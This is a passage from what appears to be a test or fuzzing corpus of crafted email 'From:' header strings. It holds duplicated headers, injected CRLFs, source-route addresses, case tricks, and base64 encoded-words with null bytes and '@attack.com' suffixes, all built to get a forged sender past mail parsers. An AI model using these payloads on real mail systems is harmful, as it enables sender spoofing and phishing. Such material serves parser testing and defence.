<=?utf-8?RnJvbTp3b3Jkd29yZChjb21tZW50KTxAZ21haWwuY29tOkBiLmNvbTp3ZWJtYXN0ZXJAeW1haWwuY29tLmNuPg0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTphdHRhY2tlckAxMjYuY29tDQo==?=>\u0000@attack.com", + " From:admin@china.com\r\n", + "From: key@msn.com\r\n", + " From:key@icloud.com\r\n", + " Fromÿ: \r\nFrom:,(\r\n),()<@a.com:@b.com:admin@qq.com>(),,(hi),(comm\r\nent)<@gmail.com:@b.com:webmaster@gmail.com>\r\n", + " From: \r\nFrom:(comment),(),webmaster@hotmail.com\r\n", + "From :wordword(hi)<@gmail.com:@b.com:admin@hotmail.com>,\r\n", + " From: \r\nFrom:wordword(\r\n)(comment)\r\n", + "From: ()<@qq.com:@163.com:Mike@outlook.com>(\r\n)\r\n", + " From:<@qq.com:@163.com:attacker@live.com>(comment)\r\n", + "From: <=?utf-8?RnJvbTosTWlrZUB5bWFpbC5jb20NCg===?=>\u0000@attack.com", + " FrOM: \r\nFrom:wordword(),wordwordword(comm\r\nent)\r\n", + " From: \r\nFrom:word<@a.com:@b.com:admin@icloud.com>,(\r\n)<@a.com:@b.com:Alice@gmail.com>,(hi)<@qq.com:@163.com:key@sohu.com>,word(\r\n)(hi),security@aliyun.com,webmaster@126.com\r\n", + "From: \r\nFrom:admin@qq.com\r\n", + "From :webmaster@gmail.com\r\n", + " Fromÿ: \r\nFrom:key@sina.cn,\r\n", + " From: \r\nFrom:(),(hi)<@a.com:@b.com:Alice@live.com>(hi),\r\n", + "From: \r\nFrom:<@a.com:@b.com:security@qq.com>\r\n", + " Fromÿ: \r\nFrom:word,<@a.com:@b.com:security@sohu.com>\r\n", + "From: \r\nFrom:(comment),word(comm\r\nent),(),(\r\n)\r\n", + " From:security@china.com,,\r\n", + "From :(comment),()<@gmail.com:@b.com:Bob@icloud.com>,,<@qq.com:@163.com:Alice@ymail.com.cn>,(hi),(comment)\r\n", + "From:,(\r\n),()<@a.com:@b.com:admin@qq.com>(),,(hi),(comm\r\nent)<@gmail.com:@b.com:webmaster@gmail.com>\r\n", + "From: ,,Alice@hotmail.com,webmaster@foxmail.com\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQDE2My5jb20sKGNvbW0NCmVudCkNCg===?=>", + " From:,security@china.com\r\n", + " FrOM: \r\nFrom:word(comment),<@qq.com:@163.com:Bob@ymail.com.cn>\r\n", + "From: \r\nFrom:key@msn.com,attacker@163.com,word.()(comm\r\nent)()<@qq.com:@163.com:Mike@sina.cn>(comm\r\nent),wordword(comment)<@qq.com:@163.com:security@sohu.com>(\r\n),word(comm\r\nent),word\r\n", + "From:(hi),(comm\r\nent),word().(\r\n)\r\n", + "From: <=?utf-8?RnJvbTosPEBhLmNvbTpAYi5jb206QWxpY2VAc2luYS5jbj4NCg===?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:admin@ymail.com,word(hi)(),<@qq.com:@163.com:security@hotmail.com>,Alice@foxmail.com,<@a.com:@b.com:attacker@hotmail.com>(\r\n)\r\n", + "From: \r\nFrom:hr@aliyun.com\r\n", + " From: \r\nFrom:,(\r\n)\r\n", + "From: key@ymail.com.cn\r\n", + "From: hr@ymail.com.cn\r\n", + "From :admin@163.com,attacker@hotmail.com\r\n", + " From: \r\nFrom:webmaster@sina.com\r\n", + " From:admin@139.com,(comm\r\nent)(comment)\r\n", + " From:word()<@qq.com:@163.com:Alice@sina.cn>(\r\n)\r\n", + " FrOM: \r\nFrom:Mike@msn.com,hr@top.com,webmaster@hotmail.com\r\n", + "From: word(comment)<@a.com:@b.com:key@126.com>,word.(\r\n),word()(comment),,(comment)\r\n", + "From:Bob@sohu.com,security@sohu.com\r\n", + "From :,Alice@top.com\r\n", + " Fromÿ: \r\nFrom:word(hi)(comm\r\nent)\r\n", + "From :,(comm\r\nent),security@foxmail.com,,hr@sina.cn,(comm\r\nent)\r\n", + " Fromÿ: \r\nFrom:,hr@live.com,hr@126.com\r\n", + "From:,Alice@china.com\r\n", + "From:wordword<@a.com:@b.com:Mike@icloud.com>(),word(comment),security@msn.com,word\r\n", + "From: (hi)(comment),attacker@qq.com,(),webmaster@sina.com\r\n", + " From: \r\nFrom:Mike@foxmail.com\r\n", + "From: \r\nFrom:word<@a.com:@b.com:key@outlook.com>(\r\n),,(comment)\r\n", + " Fromÿ: \r\nFrom:,Alice@top.com\r\n", + " From:<@gmail.com:@b.com:key@top.com>\r\n", + "From :word<@a.com:@b.com:key@outlook.com>(\r\n),,(comment)\r\n", + "From :(\r\n)<@gmail.com:@b.com:webmaster@ymail.com>\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPGtleUAxMjYuY29tPihoaSksd29yZDxAYS5jb206QGIuY29tOk1pa2VAaWNsb3VkLmNvbT4NCg===?=>\u0000@attack.com", + " From: \r\nFrom:,,Alice@hotmail.com,webmaster@foxmail.com\r\n", + "From: <=?utf-8?RnJvbTo8YWRtaW5AcXEuY29tPihjb21tZW50KSwoY29tbWVudCk8QGdtYWlsLmNvbTpAYi5jb206c2VjdXJpdHlAMTM5LmNvbT4sPGFkbWluQGljbG91ZC5jb20+DQo==?=>", + "From :word<@qq.com:@163.com:webmaster@ymail.com.cn>,Alice@gmail.com,word(comment)..word\r\n", + "From:Bob@qq.com,wordwordwordword(hi)\r\n", + " From: \r\nFrom:word<@a.com:@b.com:key@outlook.com>(\r\n),,(comment)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBhLmNvbTpAYi5jb206YWRtaW5AYWxpeXVuLmNvbT4oKSxhZG1pbkB0b3AuY29tLA0K=?=>\u0000@attack.com", + "From :word(comm\r\nent)\r\n", + "From :wordwordword(comment)\r\n", + " From:word(comment),<@qq.com:@163.com:Bob@ymail.com.cn>\r\n", + " Fromÿ: \r\nFrom:attacker@sohu.com\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckAxMjYuY29tDQo==?=>", + "From: \r\nFrom:,Mike@ymail.com\r\n", + "From :<@a.com:@b.com:attacker@139.com>\r\n", + "From: <=?utf-8?RnJvbTooDQopPEBnbWFpbC5jb206QGIuY29tOndlYm1hc3RlckB5bWFpbC5jb20+DQo==?=>\u0000@attack.com", + "From: (comment),wordword\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBzb2h1LmNvbQ0K=?=>", + "From: <=?utf-8?RnJvbTosQm9iQHltYWlsLmNvbQ0K=?=>", + "From:word<@a.com:@b.com:key@outlook.com>(\r\n),,(comment)\r\n", + " From: \r\nFrom:wordword().(hi)\r\n", + "From:(comm\r\nent),attacker@163.com\r\n", + " From:word<@a.com:@b.com:admin@aliyun.com>(),admin@top.com,\r\n", + " Fromÿ: \r\nFrom:,(\r\n)\r\n", + " From:word<@qq.com:@163.com:webmaster@ymail.com.cn>,Alice@gmail.com,word(comment)..word\r\n", + "From: \r\nFrom:admin@live.com,(\r\n)\r\n", + "From :wordword<@qq.com:@163.com:Mike@ymail.com.cn>,attacker@ymail.com.cn\r\n", + "From :key@ymail.com.cn\r\n", + " Fromÿ: \r\nFrom:admin@live.com,key@icloud.com,<@gmail.com:@b.com:hr@ymail.com.cn>()\r\n", + " FrOM: \r\nFrom:()\r\n", + " From: \r\nFrom:(hi)(),security@aliyun.com,word(comment)<@a.com:@b.com:Bob@ymail.com>(),word(\r\n)\r\n", + "From:(hi),admin@msn.com\r\n", + " Fromÿ: \r\nFrom:admin@china.com,,,\r\n", + " From:hr@foxmail.com,,\r\n", + " From: \r\nFrom:admin@sohu.com\r\n", + "From: <=?utf-8?RnJvbTpCb2JAc29odS5jb20sTWlrZUBxcS5jb20NCg===?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTooKSxNaWtlQDEzOS5jb20sDQo==?=>\u0000@attack.com", + "From: \r\nFrom:admin@sina.com,(comment),\r\n", + "From:Alice@outlook.com,word\r\n", + "From: word(comm\r\nent)\r\n", + "From: \r\nFrom:webmaster@foxmail.com,(comm\r\nent),attacker@sina.cn,\r\n", + "From: \r\nFrom:attacker@sohu.com,webmaster@foxmail.com\r\n", + "From: <=?utf-8?RnJvbTpzZWN1cml0eUBzaW5hLmNvbQ0K=?=>\u0000@attack.com", + "From:(comm\r\nent),key@top.com,(hi),word(hi)(comment)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCkoY29tbWVudCk8QHFxLmNvbTpAMTYzLmNvbTp3ZWJtYXN0ZXJAeW1haWwuY29tLmNuPiwNCg===?=>\u0000@attack.com", + " From: \r\nFrom:word(\r\n)(\r\n)\r\n", + "From: <=?utf-8?RnJvbTooaGkpLCgpLCwsd29yZCgpKA0KKTxNaWtlQHNpbmEuY24+KCkNCg===?=>\u0000@attack.com", + " From:word(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAcXEuY29tLCgpDQo==?=>\u0000@attack.com", + " From:key@outlook.com,(comm\r\nent)\r\n", + "From:(comment),()<@gmail.com:@b.com:Bob@icloud.com>,,<@qq.com:@163.com:Alice@ymail.com.cn>,(hi),(comment)\r\n", + " From:word,<@a.com:@b.com:security@sohu.com>\r\n", + "From:wordword<@qq.com:@163.com:admin@hotmail.com>,admin@sohu.com,\r\n", + "From: webmaster@gmail.com,key@126.com\r\n", + " Fromÿ: \r\nFrom:wordword().(hi)\r\n", + " Fromÿ: \r\nFrom:,security@china.com\r\n", + " From: \r\nFrom:admin@ymail.com,word(hi)(),<@qq.com:@163.com:security@hotmail.com>,Alice@foxmail.com,<@a.com:@b.com:attacker@hotmail.com>(\r\n)\r\n", + "From: ,(comment),key@qq.com,(hi)\r\n", + "From:<@a.com:@b.com:Bob@163.com>(hi)\r\n", + "From :(comm\r\nent)\r\n", + "From :Bob@sohu.com,Mike@qq.com\r\n", + "From: \r\nFrom:attacker@outlook.com\r\n", + "From:<@gmail.com:@b.com:Alice@sina.com>,(hi)(hi)\r\n", + "From:(comment),word(comm\r\nent),(),(\r\n)\r\n", + "From :,webmaster@ymail.com\r\n", + " From: \r\nFrom:word()<@qq.com:@163.com:Alice@sina.cn>(\r\n)\r\n", + "From: wordwordwordwordword<@gmail.com:@b.com:Alice@126.com>(hi)\r\n", + " From: \r\nFrom:(comm\r\nent),key@sohu.com\r\n", + " FrOM: \r\nFrom:,(hi),(\r\n)\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBjaGluYS5jb20sLCwNCg===?=>\u0000@attack.com", + " From:Bob@126.com\r\n", + " Fromÿ: \r\nFrom:wordword(hi)<@gmail.com:@b.com:admin@hotmail.com>,\r\n", + "From:hr@gmail.com\r\n", + " FrOM: \r\nFrom:security@sina.com\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBnbWFpbC5jb20sKGNvbW0NCmVudCk8Qm9iQGZveG1haWwuY29tPihjb21tZW50KSxrZXlAZ21haWwuY29tDQo==?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:(comm\r\nent)(hi)\r\n", + " From: \r\nFrom:word(comment)(comment)\r\n", + "From:<@qq.com:@163.com:Alice@gmail.com>(hi),word<@gmail.com:@b.com:key@ymail.com.cn>(comm\r\nent),Alice@ymail.com.cn,wordword<@gmail.com:@b.com:Alice@aliyun.com>(hi),(\r\n)<@qq.com:@163.com:webmaster@139.com>\r\n", + " From:word(comm\r\nent)\r\n", + "From :,,,\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPHdlYm1hc3RlckAxMjYuY29tPihjb21tZW50KQ0K=?=>", + "From: <=?utf-8?RnJvbTosTWlrZUBpY2xvdWQuY29tDQo==?=>", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTx3ZWJtYXN0ZXJAMTI2LmNvbT4oY29tbQ0KZW50KQ0K=?=>\u0000@attack.com", + "From:attacker@163.com\r\n", + " FrOM: \r\nFrom:,Alice@china.com\r\n", + " From:(),key@icloud.com,,,\r\n", + " Fromÿ: \r\nFrom:<@qq.com:@163.com:Mike@163.com>\r\n", + "From: (comment)<@a.com:@b.com:Bob@139.com>\r\n", + " From:(comment)<@gmail.com:@b.com:Alice@gmail.com>(\r\n)\r\n", + "From: admin@live.com,(\r\n)\r\n", + " FrOM: \r\nFrom:wordword(\r\n)(comment)\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSwoDQopLCgNCiksLHdvcmR3b3JkPEBxcS5jb206QDE2My5jb206Qm9iQGhvdG1haWwuY29tPigpDQo==?=>", + " Fromÿ: \r\nFrom:Bob@top.com,word<@gmail.com:@b.com:Bob@outlook.com>()\r\n", + "From :admin@china.com\r\n", + "From: \r\nFrom:webmaster@qq.com,()\r\n", + " Fromÿ: \r\nFrom:,Alice@china.com\r\n", + " Fromÿ: \r\nFrom:webmaster@foxmail.com,(comm\r\nent),attacker@sina.cn,\r\n", + "From: <=?utf-8?RnJvbTpCb2JAbXNuLmNvbSxNaWtlQDEyNi5jb20sd29yZDxhdHRhY2tlckAxMzkuY29tPihjb21tZW50KSx3b3JkPEBxcS5jb206QDE2My5jb206QWxpY2VAb3V0bG9vay5jb20+KGNvbW0NCmVudCkNCg===?=>\u0000@attack.com", + " From: \r\nFrom:hr@163.com\r\n", + " FrOM: \r\nFrom:word<@gmail.com:@b.com:webmaster@msn.com>,<@a.com:@b.com:key@foxmail.com>,\r\n", + " Fromÿ: \r\nFrom:(comm\r\nent),,(),(hi),,,key@hotmail.com,\r\n", + "From: <=?utf-8?RnJvbTosKA0KKSxockBhbGl5dW4uY29tLA0K=?=>\u0000@attack.com", + "From: key@msn.com,attacker@163.com,word.()(comm\r\nent)()<@qq.com:@163.com:Mike@sina.cn>(comm\r\nent),wordword(comment)<@qq.com:@163.com:security@sohu.com>(\r\n),word(comm\r\nent),word\r\n", + "From: <=?utf-8?RnJvbTooaGkpPEBxcS5jb206QDE2My5jb206YWRtaW5AZm94bWFpbC5jb20+KCksPEBnbWFpbC5jb206QGIuY29tOmtleUBmb3htYWlsLmNvbT4oDQopLDxAYS5jb206QGIuY29tOk1pa2VAeW1haWwuY29tLmNuPigpLChjb21tDQplbnQpPEFsaWNlQHFxLmNvbT4NCg===?=>", + " From:key@foxmail.com,(\r\n)\r\n", + " FrOM: \r\nFrom:webmaster@foxmail.com,(comm\r\nent),attacker@sina.cn,\r\n", + " From:(comment),()<@gmail.com:@b.com:Bob@icloud.com>,,<@qq.com:@163.com:Alice@ymail.com.cn>,(hi),(comment)\r\n", + "From :,word(\r\n),,(),key@ymail.com.cn,()\r\n", + "From: \r\nFrom:(hi)<@qq.com:@163.com:admin@foxmail.com>(),<@gmail.com:@b.com:key@foxmail.com>(\r\n),<@a.com:@b.com:Mike@ymail.com.cn>(),(comm\r\nent)\r\n", + " Fromÿ: \r\nFrom:admin@sina.com,(comment),\r\n", + "From :(comment),(hi),attacker@outlook.com,(),key@163.com\r\n", + " Fromÿ: \r\nFrom:,attacker@hotmail.com\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAc2luYS5jb20sTWlrZUB5bWFpbC5jb20uY24NCg===?=>", + " From: \r\nFrom:,(hi)<@a.com:@b.com:Bob@sohu.com>,\r\n", + "From: \r\nFrom:word(hi)(comm\r\nent)\r\n", + " From: \r\nFrom:word<@qq.com:@163.com:admin@gmail.com>(\r\n)\r\n", + "From: hr@foxmail.com\r\n", + "From:,()(comment),(\r\n)\r\n", + "From: word<@a.com:@b.com:key@outlook.com>(\r\n),,(comment)\r\n", + "From: \r\nFrom:wordword(\r\n),Alice@ymail.com,webmaster@live.com,admin@icloud.com,security@sohu.com\r\n", + "From: \r\nFrom:admin@163.com,attacker@hotmail.com\r\n", + " FrOM: \r\nFrom:(hi)(),security@aliyun.com,word(comment)<@a.com:@b.com:Bob@ymail.com>(),word(\r\n)\r\n", + " From: \r\nFrom:Alice@foxmail.com,attacker@139.com\r\n", + " From: \r\nFrom:word(\r\n)(\r\n),Mike@qq.com,Alice@163.com,(comm\r\nent)(),key@icloud.com\r\n", + "From: ,Alice@china.com\r\n", + "From :Mike@gmail.com,admin@gmail.com,key@qq.com,hr@qq.com,hr@msn.com,key@foxmail.com,admin@qq.com,webmaster@top.com,word<@qq.com:@163.com:Mike@sohu.com>,word<@a.com:@b.com:key@icloud.com>(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTosKGhpKTxAYS5jb206QGIuY29tOkJvYkBzb2h1LmNvbT4sDQo==?=>", + " From: \r\nFrom:(comment)<@a.com:@b.com:Bob@139.com>\r\n", + " Fromÿ: \r\nFrom:wordword(\r\n),Alice@ymail.com,webmaster@live.com,admin@icloud.com,security@sohu.com\r\n", + "From:key@hotmail.com\r\n", + "From: security@163.com\r\n", + " FrOM: \r\nFrom:(comm\r\nent),,key@aliyun.com,,\r\n", + " From:,Mike@icloud.com\r\n", + " From: \r\nFrom:,Alice@top.com\r\n", + "From: \r\nFrom:word<@a.com:@b.com:admin@icloud.com>,(\r\n)<@a.com:@b.com:Alice@gmail.com>,(hi)<@qq.com:@163.com:key@sohu.com>,word(\r\n)(hi),security@aliyun.com,webmaster@126.com\r\n", + "From: \r\nFrom:Mike@top.com,(comm\r\nent)<@a.com:@b.com:Bob@126.com>(hi),admin@icloud.com\r\n", + " From: \r\nFrom:word<@a.com:@b.com:admin@aliyun.com>(),admin@top.com,\r\n", + "From: \r\nFrom:()<@qq.com:@163.com:Mike@outlook.com>(\r\n)\r\n", + "From: (comm\r\nent),Bob@qq.com,admin@top.com,\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCk8QWxpY2VAMTM5LmNvbT4sd29yZDxAcXEuY29tOkAxNjMuY29tOnNlY3VyaXR5QG1zbi5jb20+KGNvbW0NCmVudCksaHJAMTM5LmNvbQ0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTooaGkpPGhyQGdtYWlsLmNvbT4oaGkpLDxAcXEuY29tOkAxNjMuY29tOkFsaWNlQGdtYWlsLmNvbT4oKQ0K=?=>", + " FrOM: \r\nFrom:key@outlook.com,(comm\r\nent)\r\n", + "From: (comm\r\nent),,(),(hi),,,key@hotmail.com,\r\n", + "From: <=?utf-8?RnJvbTpzZWN1cml0eUB5bWFpbC5jb20uY24sc2VjdXJpdHlAcXEuY29tLHdvcmR3b3JkPEBnbWFpbC5jb206QGIuY29tOndlYm1hc3RlckB5bWFpbC5jb20uY24+DQo==?=>", + "From: <=?utf-8?RnJvbTprZXlAdG9wLmNvbSx3b3JkKGNvbW0NCmVudCl3b3JkKA0KKTxAZ21haWwuY29tOkBiLmNvbTpNaWtlQGhvdG1haWwuY29tPihjb21tZW50KQ0K=?=>\u0000@attack.com", + "From: ,webmaster@sina.cn,,,(\r\n)\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQG1zbi5jb20NCg===?=>", + " From:,webmaster@ymail.com\r\n", + "From: Alice@163.com\r\n", + "From :word.()(),<@gmail.com:@b.com:key@msn.com>(comm\r\nent),word(\r\n),\r\n", + "From: <=?utf-8?RnJvbTpockBpY2xvdWQuY29tLChjb21tDQplbnQpPEBxcS5jb206QDE2My5jb206QWxpY2VAb3V0bG9vay5jb20+LChjb21tZW50KSwsKA0KKSx3b3JkPEBnbWFpbC5jb206QGIuY29tOmhyQHNpbmEuY24+KCksDQo==?=>", + "From: Bob@top.com,word<@gmail.com:@b.com:Bob@outlook.com>()\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZChjb21tZW50KTxAcXEuY29tOkAxNjMuY29tOndlYm1hc3RlckBjaGluYS5jb20+DQo==?=>", + "From :,Mike@ymail.com\r\n", + " From:()<@qq.com:@163.com:Mike@outlook.com>(\r\n)\r\n", + "From: (comm\r\nent)\r\n", + " FrOM: \r\nFrom:word<@qq.com:@163.com:admin@gmail.com>(\r\n)\r\n", + " From:wordword\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBhLmNvbTpAYi5jb206YWRtaW5AaWNsb3VkLmNvbT4sKA0KKTxAYS5jb206QGIuY29tOkFsaWNlQGdtYWlsLmNvbT4sKGhpKTxAcXEuY29tOkAxNjMuY29tOmtleUBzb2h1LmNvbT4sd29yZCgNCik8YXR0YWNrZXJAZ21haWwuY29tPihoaSksc2VjdXJpdHlAYWxpeXVuLmNvbSx3ZWJtYXN0ZXJAMTI2LmNvbQ0K=?=>\u0000@attack.com", + " From: \r\nFrom:key@outlook.com,(comm\r\nent)\r\n", + " From:Alice@foxmail.com,attacker@139.com\r\n", + "From: \r\nFrom:webmaster@sina.com,Mike@ymail.com.cn\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSwsa2V5QGFsaXl1bi5jb20sLA0K=?=>", + "From: \r\nFrom:key@sina.cn,\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBxcS5jb20NCg===?=>\u0000@attack.com", + " From: \r\nFrom:,(\r\n),(),Bob@139.com,,,(\r\n)\r\n", + " From: \r\nFrom:,key@139.com,,(hi),,(),\r\n", + "From: Alice@outlook.com,word\r\n", + "From: \r\nFrom:word(\r\n)(\r\n),Mike@qq.com,Alice@163.com,(comm\r\nent)(),key@icloud.com\r\n", + "From: Mike@163.com,(comm\r\nent)\r\n", + "From: admin@139.com,(comm\r\nent)(comment)\r\n", + " FrOM: \r\nFrom:,<@gmail.com:@b.com:admin@china.com>,(hi)<@gmail.com:@b.com:attacker@msn.com>,(hi),,(),\r\n", + "From :wordword<@gmail.com:@b.com:hr@sohu.com>(comment)\r\n", + " From: \r\nFrom:Bob@sohu.com\r\n", + "From: <@qq.com:@163.com:Alice@gmail.com>(hi),word<@gmail.com:@b.com:key@ymail.com.cn>(comm\r\nent),Alice@ymail.com.cn,wordword<@gmail.com:@b.com:Alice@aliyun.com>(hi),(\r\n)<@qq.com:@163.com:webmaster@139.com>\r\n", + " Fromÿ: \r\nFrom:(hi),(),,,word()(\r\n)()\r\n", + " FrOM: \r\nFrom:admin@live.com,key@icloud.com,<@gmail.com:@b.com:hr@ymail.com.cn>()\r\n", + "From: <=?utf-8?RnJvbTosd2VibWFzdGVyQGZveG1haWwuY29tDQo==?=>", + " Fromÿ: \r\nFrom:admin@qq.com\r\n", + "From: wordword<@a.com:@b.com:Mike@icloud.com>(),word(comment),security@msn.com,word\r\n", + "From: <=?utf-8?RnJvbTpzZWN1cml0eUAxMjYuY29tDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTosa2V5QDEzOS5jb20sLChoaSksLCgpLA0K=?=>", + " FrOM: \r\nFrom:word(hi),word<@a.com:@b.com:Mike@icloud.com>\r\n", + "From:key@126.com,word()<@gmail.com:@b.com:admin@sina.com>\r\n", + "From: <=?utf-8?RnJvbTooKSwoaGkpPEBhLmNvbTpAYi5jb206QWxpY2VAbGl2ZS5jb20+KGhpKSwNCg===?=>", + "From :wordword<@qq.com:@163.com:admin@hotmail.com>,admin@sohu.com,\r\n", + "From: \r\nFrom:(comment),(hi),attacker@outlook.com,(),key@163.com\r\n", + " Fromÿ: \r\nFrom:key@foxmail.com,(\r\n)\r\n", + " From:(comm\r\nent),,(),(hi),,,key@hotmail.com,\r\n", + "From: \r\nFrom:wordword(\r\n)(comment)\r\n", + " From: \r\nFrom:webmaster@gmail.com\r\n", + " From: \r\nFrom:word(comm\r\nent),security@sina.cn,(comment),security@163.com\r\n", + " FrOM: \r\nFrom:Alice@foxmail.com,attacker@139.com\r\n", + " FrOM: \r\nFrom:,<@a.com:@b.com:Alice@sina.cn>\r\n", + "From :attacker@sohu.com\r\n", + " From:word(comm\r\nent)(comment)<@qq.com:@163.com:webmaster@ymail.com.cn>,\r\n", + "From: <=?utf-8?RnJvbTosLEFsaWNlQGhvdG1haWwuY29tLHdlYm1hc3RlckBmb3htYWlsLmNvbQ0K=?=>\u0000@attack.com", + "From: \r\nFrom:(\r\n),(hi),(),(comm\r\nent),\r\n", + "From: <=?utf-8?RnJvbTosTWlrZUB5bWFpbC5jb20NCg===?=>", + " FrOM: \r\nFrom:attacker@sohu.com\r\n", + "From:wordword(comment)<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", + "From:admin@sohu.com\r\n", + " Fromÿ: \r\nFrom:webmaster@gmail.com\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxNaWtlQHltYWlsLmNvbS5jbj4NCg===?=>\u0000@attack.com", + "From: webmaster@126.com\r\n", + "From: <=?utf-8?RnJvbTo8QHFxLmNvbTpAMTYzLmNvbTpBbGljZUBnbWFpbC5jb20+KGhpKSx3b3JkPEBnbWFpbC5jb206QGIuY29tOmtleUB5bWFpbC5jb20uY24+KGNvbW0NCmVudCksQWxpY2VAeW1haWwuY29tLmNuLHdvcmR3b3JkPEBnbWFpbC5jb206QGIuY29tOkFsaWNlQGFsaXl1bi5jb20+KGhpKSwoDQopPEBxcS5jb206QDE2My5jb206d2VibWFzdGVyQDEzOS5jb20+DQo==?=>", + "From: <=?utf-8?RnJvbTosKGhpKTxAYS5jb206QGIuY29tOkJvYkBzb2h1LmNvbT4sDQo==?=>\u0000@attack.com", + "From:key@top.com,word(comm\r\nent)word(\r\n)<@gmail.com:@b.com:Mike@hotmail.com>(comment)\r\n", + "From: <=?utf-8?RnJvbTpockBhbGl5dW4uY29tDQo==?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:()(comment)\r\n", + "From: \r\nFrom:,hr@live.com,hr@126.com\r\n", + " From:(comm\r\nent)<@gmail.com:@b.com:Mike@163.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTprZXlAZm94bWFpbC5jb20sKA0KKQ0K=?=>\u0000@attack.com", + "From:,webmaster@foxmail.com\r\n", + " FrOM: \r\nFrom:(comm\r\nent),,(),(hi),,,key@hotmail.com,\r\n", + "From: <=?utf-8?RnJvbTooaGkpLChoaSksKA0KKSx3b3JkKGNvbW1lbnQpKGhpKTxAcXEuY29tOkAxNjMuY29tOmF0dGFja2VyQHNpbmEuY24+DQo==?=>\u0000@attack.com", + " From: \r\nFrom:(comment)<@gmail.com:@b.com:Alice@gmail.com>(\r\n)\r\n", + " Fromÿ: \r\nFrom:word<@qq.com:@163.com:admin@gmail.com>(\r\n)\r\n", + " From: \r\nFrom:(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTosPGF0dGFja2VyQHNpbmEuY24+KA0KKQ0K=?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:word<@qq.com:@163.com:key@126.com>\r\n", + "From: <=?utf-8?RnJvbTo8d2VibWFzdGVyQHNpbmEuY29tPiwoDQopLCgpLEJvYkAxMzkuY29tLCwsKA0KKQ0K=?=>", + " Fromÿ: \r\nFrom:word(comment)(comment)\r\n", + "From :Mike@top.com,key@outlook.com\r\n", + "From: word<@a.com:@b.com:admin@aliyun.com>(),admin@top.com,\r\n", + "From: <=?utf-8?RnJvbTosa2V5QDEzOS5jb20sLChoaSksLCgpLA0K=?=>\u0000@attack.com", + "From: admin@163.com,attacker@hotmail.com\r\n", + "From: ,(\r\n),hr@aliyun.com,\r\n", + " From: \r\nFrom:<@qq.com:@163.com:attacker@live.com>(comment)\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBjaGluYS5jb20sKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206YXR0YWNrZXJAY2hpbmEuY29tPihjb21tZW50KQ0K=?=>\u0000@attack.com", + "From: \r\nFrom:,security@china.com\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZHdvcmQoY29tbWVudCk8YWRtaW5AMTM5LmNvbT4NCg===?=>", + "From :hr@gmail.com\r\n", + " FrOM: \r\nFrom:wordword<@qq.com:@163.com:Mike@ymail.com.cn>,attacker@ymail.com.cn\r\n", + " Fromÿ: \r\nFrom:Mike@top.com,key@outlook.com\r\n", + " From: \r\nFrom:key@hotmail.com\r\n", + " Fromÿ: \r\nFrom:,()(comment),(\r\n)\r\n", + " Fromÿ: \r\nFrom:Mike@163.com,(comm\r\nent)\r\n", + "From :wordword(\r\n)(comment)\r\n", + " Fromÿ: \r\nFrom:attacker@china.com,Bob@139.com,word(comm\r\nent)\r\n", + " Fromÿ: \r\nFrom:,key@139.com,admin@foxmail.com,word.<@gmail.com:@b.com:attacker@sina.com>,,\r\n", + "From:wordword(hi)<@gmail.com:@b.com:admin@hotmail.com>,\r\n", + " From:(comment),(),webmaster@hotmail.com\r\n", + " FrOM: \r\nFrom:(comm\r\nent),attacker@163.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCksKCk8QGdtYWlsLmNvbTpAYi5jb206Qm9iQGljbG91ZC5jb20+LCw8QHFxLmNvbTpAMTYzLmNvbTpBbGljZUB5bWFpbC5jb20uY24+LChoaSksKGNvbW1lbnQpDQo==?=>\u0000@attack.com", + "From: \r\nFrom:attacker@gmail.com,Mike@ymail.com.cn\r\n", + " From:(comm\r\nent)(hi),key@msn.com\r\n", + "From: <=?utf-8?RnJvbTpCb2JAc29odS5jb20sc2VjdXJpdHlAc29odS5jb20NCg===?=>", + " Fromÿ: \r\nFrom:,,Alice@hotmail.com,webmaster@foxmail.com\r\n", + "From:(comm\r\nent)<@gmail.com:@b.com:Mike@163.com>(hi)\r\n", + "From :word,<@a.com:@b.com:security@sohu.com>\r\n", + " FrOM: \r\nFrom:Bob@139.com,hr@china.com\r\n", + "From: \r\nFrom:wordword(comment)<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", + "From:security@ymail.com.cn,security@qq.com,wordword<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGhpKShjb21tDQplbnQpPHdlYm1hc3RlckBtc24uY29tPg0K=?=>", + " From: \r\nFrom:word(hi)(comm\r\nent)\r\n", + " From:(comment),word(comm\r\nent),(),(\r\n)\r\n", + "From: 